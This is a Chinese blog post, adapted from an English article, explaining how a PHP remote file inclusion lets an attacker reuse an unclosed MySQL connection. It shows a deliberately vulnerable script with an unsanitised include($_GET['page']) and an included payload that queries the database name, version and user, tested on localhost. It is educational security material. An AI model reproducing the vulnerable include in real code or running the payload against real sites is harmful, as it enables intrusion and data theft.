作者 Canberk BOLAT <hc0de.blogspot.com>
翻译 幻泉 (不算翻译 都是根据幻泉自己理解写的。)
0x01 信息
写出这篇文章很重要一点是因为mysql_close()函数的原因。这个函数会关闭mysql连接的session。而当mysql_close()函数没被应用到conn等包含文件中时出现远程文件包含我们就可以利用远程包含程序来实现劫持数据库链接实现查询我们所需要的信息了。
mysql_close() 函数:
mysql_close(link_identifier)函数关闭非持久的mysql连接。
其中link_identifier的作用是指定打开的连接,如果没有找到该连接,函数会尝试调用mysql_connect()建立连接并使用它。如果发生意外并且没有找到连接或无法建立连接则会返回E_WARNING级别警告信息。
一般情况mysql_close()函数是没有必要的,因为当程序建立mysql连接会自动关闭其连接,并释放。
但是在释放会在程序执行完成后发生,这一点是很重要的。
0x02 攻击
我认为这是php的错误,因为如果我们能注入我们的代码到这个脚本并且能够执行任意sql查询则有可能会产生SQL查询劫持效果。
像test.php这样的文件,我们可以看到他并没有执行mysql_close()函数,并且在最下面出现了远程文件包含漏洞。
test.php
$host = "localhost"; $user = "root"; $pass = "rootpass"; $db = "joo"; // Current $connect = mysql_connect($host,$user,$pass); mysql_select_db($db,$connect);
$query = mysql_query("SELECT uname FROM lol");
while($lol = mysql_fetch_array($query)){ echo "we get it: ".$lol["uname"]." "; }
include($_GET["page"]); // 远程文件包含漏洞 ?>
现在我们测试这个漏洞程序,提交page的get变量http://127.0.0.1/eval。
EVIL
$evil = mysql_query("SELECT concat_ws(0x3a,database(),version(),user());"); $a = mysql_fetch_array($evil); echo $a[0]; ?>
提交后会在当前程序中返回数据库帐户、版本和名称。
我们劫持了mysql连接session来执行我们的SQL语句,所以关闭当前连接是很主要的,如果当我们远程文件包含之前调用文件已经关闭了数据库连接,这时候则不会产生SQL劫持过程了。
ps:没做原文翻译而是以我的理解来写出的信息,感觉原文有些太片面。毕竟远程文件包含可以执行命令这时候我们可以做任何操作而并不局限于劫持技术,但是并不是说明这样的程序无用,又远程文件包含大家也可以想到本地文件包含等,所有的技术都有可能会实现这样的功能,而且在一些有很多函数限制的上传等过程中这样的利用也是一个很好的演示。
|